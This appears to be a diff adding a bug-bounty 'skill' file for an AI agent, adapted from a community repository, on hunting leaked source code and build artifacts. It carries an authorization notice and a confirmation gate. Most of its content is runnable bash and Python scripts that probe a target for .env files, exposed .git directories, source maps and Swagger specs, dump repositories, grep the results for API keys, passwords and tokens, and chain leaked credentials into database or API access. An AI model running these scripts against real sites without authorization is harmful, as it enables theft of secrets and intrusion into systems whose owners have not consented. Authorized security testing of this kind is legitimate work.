> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|
|
@@ -0,0 +1,345 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-source-leak
|
|
3
|
+
description: Hunt source code and build artifact leakage
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: hackerone_public, offensive_research
|
|
16
|
+
report_count: 7
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
# HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage
|
|
33
|
+
|
|
34
|
+
## Crown Jewel Targets
|
|
35
|
+
|
|
36
|
+
Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.
|
|
37
|
+
|
|
38
|
+
**Highest-value findings:**
|
|
39
|
+
- **`.js.map` source maps** — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
|
|
40
|
+
- **`swagger.json` / `openapi.json`** — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names
|
|
41
|
+
- **`.env` / `.env.production`** — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext
|
|
42
|
+
- **`.git/` exposure** — `git clone` the entire source history → all past hardcoded secrets
|
|
43
|
+
- **`asset-manifest.json` / `_next/static/`** — all JS bundle paths → systematic source map discovery
|
|
44
|
+
- **`build-info` / `info.json`** — git commit hash, build timestamp, dependency versions → CVE targeting
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Phase 1 — Quick Wins (Run First)
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
# These 10 requests take <30 seconds and often yield Critical findings
|
|
52
|
+
for PATH in \
|
|
53
|
+
"/.env" \
|
|
54
|
+
"/.env.production" \
|
|
55
|
+
"/.env.local" \
|
|
56
|
+
"/.git/HEAD" \
|
|
57
|
+
"/swagger.json" \
|
|
58
|
+
"/api/swagger.json" \
|
|
59
|
+
"/v1/swagger.json" \
|
|
60
|
+
"/openapi.json" \
|
|
61
|
+
"/api/openapi.json" \
|
|
62
|
+
"/api-docs"; do
|
|
63
|
+
STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
|
|
64
|
+
if [ "$STATUS" = "200" ]; then
|
|
65
|
+
echo "[+] HIT: https://$TARGET$PATH"
|
|
66
|
+
head -5 /tmp/sl_test
|
|
67
|
+
echo "---"
|
|
68
|
+
fi
|
|
69
|
+
done
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
---
|
|
73
|
+
|
|
74
|
+
## Phase 2 — Source Map Discovery
|
|
75
|
+
|
|
76
|
+
> **Always resolve the CURRENT build hash before testing, and again before
|
|
77
|
+
> re-verifying.** Bundle filenames are content-hashed, so they rotate on every
|
|
78
|
+
> deploy. A `.map` URL recorded yesterday can 404 today while the map is still
|
|
79
|
+
> fully exposed under a new name. **A 404 at the old URL is not remediation** —
|
|
80
|
+
> it is a new build.
|
|
81
|
+
>
|
|
82
|
+
> ```bash
|
|
83
|
+
> # ALWAYS derive the hash live, never reuse a recorded URL
|
|
84
|
+
> HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)
|
|
85
|
+
> curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
|
|
86
|
+
> "https://$TARGET/static/js/${HASH}.map"
|
|
87
|
+
> ```
|
|
88
|
+
>
|
|
89
|
+
> **Lesson from an authorized engagement.** A large production map was found at
|
|
90
|
+
> `main.<hashA>.js.map`. On re-verification that URL returned a small HTML
|
|
91
|
+
> soft-404 and the finding was nearly closed as fixed. The bundle had rotated to
|
|
92
|
+
> `main.<hashB>.js` — and the map was still published at `main.<hashB>.js.map`,
|
|
93
|
+
> same size. Nothing had been remediated.
|
|
94
|
+
>
|
|
95
|
+
> Tell the client this explicitly in the report: **redeploying does not fix source
|
|
96
|
+
> map exposure.** Only `GENERATE_SOURCEMAP=false` (or stripping `.map` at deploy)
|
|
97
|
+
> plus a CDN purge closes it. A team that redeploys and re-checks the old link
|
|
98
|
+
> will wrongly declare victory.
|
|
99
|
+
>
|
|
100
|
+
> Same rule applies to any content-hashed artifact: chunk files, CSS maps,
|
|
101
|
+
> `asset-manifest.json`, and staging equivalents.
|
|
102
|
+
|
|
103
|
+
```bash
|
|
104
|
+
# Step 1: Get asset manifest to find all JS bundle paths
|
|
105
|
+
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
|
|
106
|
+
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
|
|
107
|
+
|
|
108
|
+
# Next.js
|
|
109
|
+
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
|
|
110
|
+
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
|
|
111
|
+
|
|
112
|
+
# Step 2: For each JS bundle, check for source map reference at end of file
|
|
113
|
+
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
|
|
114
|
+
LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
|
|
115
|
+
echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
|
|
116
|
+
done
|
|
117
|
+
|
|
118
|
+
# Step 3: Download and reconstruct source from .map files
|
|
119
|
+
JS_URL="https://$TARGET/static/js/main.abc123.js"
|
|
120
|
+
MAP_URL="${JS_URL}.map"
|
|
121
|
+
curl -s "$MAP_URL" | python3 -c "
|
|
122
|
+
import sys, json, os
|
|
123
|
+
data = json.load(sys.stdin)
|
|
124
|
+
sources = data.get('sources', [])
|
|
125
|
+
contents = data.get('sourcesContent', [])
|
|
126
|
+
for i, (src, content) in enumerate(zip(sources, contents)):
|
|
127
|
+
if content:
|
|
128
|
+
path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
|
|
129
|
+
os.makedirs(os.path.dirname(path), exist_ok=True)
|
|
130
|
+
with open(path, 'w') as f:
|
|
131
|
+
f.write(content)
|
|
132
|
+
print(f'[+] Extracted: {src}')
|
|
133
|
+
"
|
|
134
|
+
|
|
135
|
+
# Step 4: Grep extracted source for secrets
|
|
136
|
+
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
|
|
137
|
+
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
|
|
138
|
+
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## Phase 3 — Swagger / OpenAPI Discovery
|
|
144
|
+
|
|
145
|
+
```bash
|
|
146
|
+
# Common paths
|
|
147
|
+
SWAGGER_PATHS=(
|
|
148
|
+
"/swagger.json" "/swagger.yaml" "/swagger/"
|
|
149
|
+
"/api/swagger.json" "/api/swagger.yaml"
|
|
150
|
+
"/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
|
|
151
|
+
"/openapi.json" "/openapi.yaml"
|
|
152
|
+
"/api/openapi.json" "/api-docs" "/api-docs.json"
|
|
153
|
+
"/api/v1/swagger.json" "/api/v2/swagger.json"
|
|
154
|
+
"/rest/swagger.json" "/rest/api-docs"
|
|
155
|
+
"/.well-known/openapi.json"
|
|
156
|
+
"/graphql/schema.json"
|
|
157
|
+
)
|
|
158
|
+
|
|
159
|
+
for PATH in "${SWAGGER_PATHS[@]}"; do
|
|
160
|
+
STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
|
|
161
|
+
if [ "$STATUS" = "200" ]; then
|
|
162
|
+
echo "[+] Found: https://$TARGET$PATH"
|
|
163
|
+
# Extract all API paths from swagger
|
|
164
|
+
python3 -c "
|
|
165
|
+
import sys, json
|
|
166
|
+
try:
|
|
167
|
+
d = json.load(open('/tmp/swagger_test'))
|
|
168
|
+
paths = list(d.get('paths', {}).keys())
|
|
169
|
+
print(f'Endpoints: {len(paths)}')
|
|
170
|
+
print('\n'.join(sorted(paths)))
|
|
171
|
+
except: pass
|
|
172
|
+
" | head -50
|
|
173
|
+
fi
|
|
174
|
+
done
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## Phase 4 — .git Exposure
|
|
180
|
+
|
|
181
|
+
```bash
|
|
182
|
+
# Check if .git directory is accessible
|
|
183
|
+
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
|
|
184
|
+
|
|
185
|
+
# If exposed, reconstruct repo
|
|
186
|
+
# Tool: git-dumper
|
|
187
|
+
pip3 install git-dumper
|
|
188
|
+
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
|
|
189
|
+
|
|
190
|
+
# Grep for secrets in all git history
|
|
191
|
+
cd /tmp/dumped-repo && \
|
|
192
|
+
git log --all --oneline 2>/dev/null | head -20
|
|
193
|
+
git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30
|
|
194
|
+
|
|
195
|
+
# trufflehog on git history
|
|
196
|
+
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
---
|
|
200
|
+
|
|
201
|
+
## Phase 5 — Forgotten Files & Debug Endpoints
|
|
202
|
+
|
|
203
|
+
```bash
|
|
204
|
+
# Build artifacts and debug files
|
|
205
|
+
DEBUG_PATHS=(
|
|
206
|
+
"/build-info.json" "/build/build-info.json"
|
|
207
|
+
"/info" "/actuator/info" "/api/info"
|
|
208
|
+
"/version" "/api/version" "/_version"
|
|
209
|
+
"/health" "/status" "/ping"
|
|
210
|
+
"/robots.txt" "/security.txt" "/.well-known/security.txt"
|
|
211
|
+
"/sitemap.xml" "/manifest.json" "/browserconfig.xml"
|
|
212
|
+
"/crossdomain.xml" "/clientaccesspolicy.xml"
|
|
213
|
+
"/phpinfo.php" "/info.php" "/test.php"
|
|
214
|
+
"/server-status" "/server-info" "/.htaccess"
|
|
215
|
+
"/web.config" "/applicationHost.config"
|
|
216
|
+
"/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
|
|
217
|
+
"/package.json" "/composer.json" "/Gemfile"
|
|
218
|
+
"/Dockerfile" "/docker-compose.yml" "/.dockerenv"
|
|
219
|
+
)
|
|
220
|
+
|
|
221
|
+
for PATH in "${DEBUG_PATHS[@]}"; do
|
|
222
|
+
STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
|
|
223
|
+
if [ "$STATUS" = "200" ]; then
|
|
224
|
+
echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
|
|
225
|
+
head -3 /tmp/debug_test
|
|
226
|
+
echo "---"
|
|
227
|
+
fi
|
|
228
|
+
done
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
---
|
|
232
|
+
|
|
233
|
+
## Phase 6 — .DS_Store File Listing
|
|
234
|
+
|
|
235
|
+
```bash
|
|
236
|
+
# .DS_Store files on macOS-deployed web servers reveal directory structure
|
|
237
|
+
curl -s "https://$TARGET/.DS_Store" | xxd | head -10
|
|
238
|
+
|
|
239
|
+
# Parse .DS_Store to extract filenames
|
|
240
|
+
pip3 install ds_store
|
|
241
|
+
python3 -c "
|
|
242
|
+
from ds_store import DSStore
|
|
243
|
+
with DSStore.open('/tmp/ds_store_test', 'r') as d:
|
|
244
|
+
for entry in d:
|
|
245
|
+
print(entry.filename)
|
|
246
|
+
"
|
|
247
|
+
|
|
248
|
+
# Recursive .DS_Store enumeration
|
|
249
|
+
# Tool: https://github.com/lijiejie/ds_store_exp
|
|
250
|
+
python3 ds_store_exp.py "https://$TARGET/"
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
---
|
|
254
|
+
|
|
255
|
+
## Phase 7 — webpack Chunk Analysis
|
|
256
|
+
|
|
257
|
+
```bash
|
|
258
|
+
# Download and analyze webpack chunks for hardcoded values
|
|
259
|
+
# Find chunk files
|
|
260
|
+
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
|
|
261
|
+
echo "Analyzing: $chunk"
|
|
262
|
+
curl -s "https://$TARGET$chunk" | \
|
|
263
|
+
grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
|
|
264
|
+
done
|
|
265
|
+
|
|
266
|
+
# Also grep for internal hostnames
|
|
267
|
+
curl -s "https://$TARGET/static/js/main.*.js" | \
|
|
268
|
+
grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u
|
|
269
|
+
|
|
270
|
+
# Check for Base64-encoded secrets
|
|
271
|
+
curl -s "https://$TARGET/static/js/main.*.js" | \
|
|
272
|
+
grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
|
|
273
|
+
DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
|
|
274
|
+
echo "$DECODED" | grep -iE "key|secret|password|token" && echo " B64: $b64"
|
|
275
|
+
done
|
|
276
|
+
```
|
|
277
|
+
|
|
278
|
+
---
|
|
279
|
+
|
|
280
|
+
## Chain Table
|
|
281
|
+
|
|
282
|
+
| Source leak finding | Chain to | Impact |
|
|
283
|
+
|--------------------|----------|--------|
|
|
284
|
+
| Source map with API key | Use key directly → API access | High/Critical |
|
|
285
|
+
| Source map with auth logic | Find auth bypass route | Critical |
|
|
286
|
+
| Swagger → internal endpoints | Test undocumented admin routes | High |
|
|
287
|
+
| .git exposed | Full source history → all past secrets | Critical |
|
|
288
|
+
| build-info with git hash | CVE targeting exact version | High |
|
|
289
|
+
| .env with DB_PASSWORD | Direct database access | Critical |
|
|
290
|
+
|
|
291
|
+
---
|
|
292
|
+
|
|
293
|
+
## Tools
|
|
294
|
+
|
|
295
|
+
```bash
|
|
296
|
+
# git-dumper (reconstruct exposed .git)
|
|
297
|
+
pip3 install git-dumper
|
|
298
|
+
git-dumper "https://target.com/.git/" /tmp/repo/
|
|
299
|
+
|
|
300
|
+
# sourcemap-explorer (visualize what's in bundles)
|
|
301
|
+
npm install -g source-map-explorer
|
|
302
|
+
source-map-explorer main.js
|
|
303
|
+
|
|
304
|
+
# unwebpack-sourcemap (extract all source files)
|
|
305
|
+
npm install -g unwebpack-sourcemap
|
|
306
|
+
|
|
307
|
+
# trufflehog (secret scanning)
|
|
308
|
+
trufflehog filesystem /tmp/repo/
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
---
|
|
312
|
+
|
|
313
|
+
## Validation
|
|
314
|
+
|
|
315
|
+
✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets
|
|
316
|
+
✅ Swagger: JSON contains internal endpoints not visible in UI
|
|
317
|
+
✅ .git exposed: git-dumper successfully clones repo, secrets in history
|
|
318
|
+
✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext
|
|
319
|
+
|
|
320
|
+
**Severity:**
|
|
321
|
+
- .env with credentials: Critical
|
|
322
|
+
- .git with secrets in history: Critical
|
|
323
|
+
- Source map with secrets: High
|
|
324
|
+
- Swagger with internal routes: Medium-High
|
|
325
|
+
- robots.txt only: Informational
|
|
326
|
+
|
|
327
|
+
## When to Use
|
|
328
|
+
|
|
329
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
330
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
331
|
+
|
|
332
|
+
## Limitations
|
|
333
|
+
|
|
334
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
335
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
336
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
337
|
+
|
|
338
|
+
### Example
|
|
339
|
+
|
|
340
|
+
```bash
|
|
341
|
+
# Read-only first step; confirm scope before anything active.
|
|
342
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
343
|
+
```
|
|
344
|
+
|
|
345
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|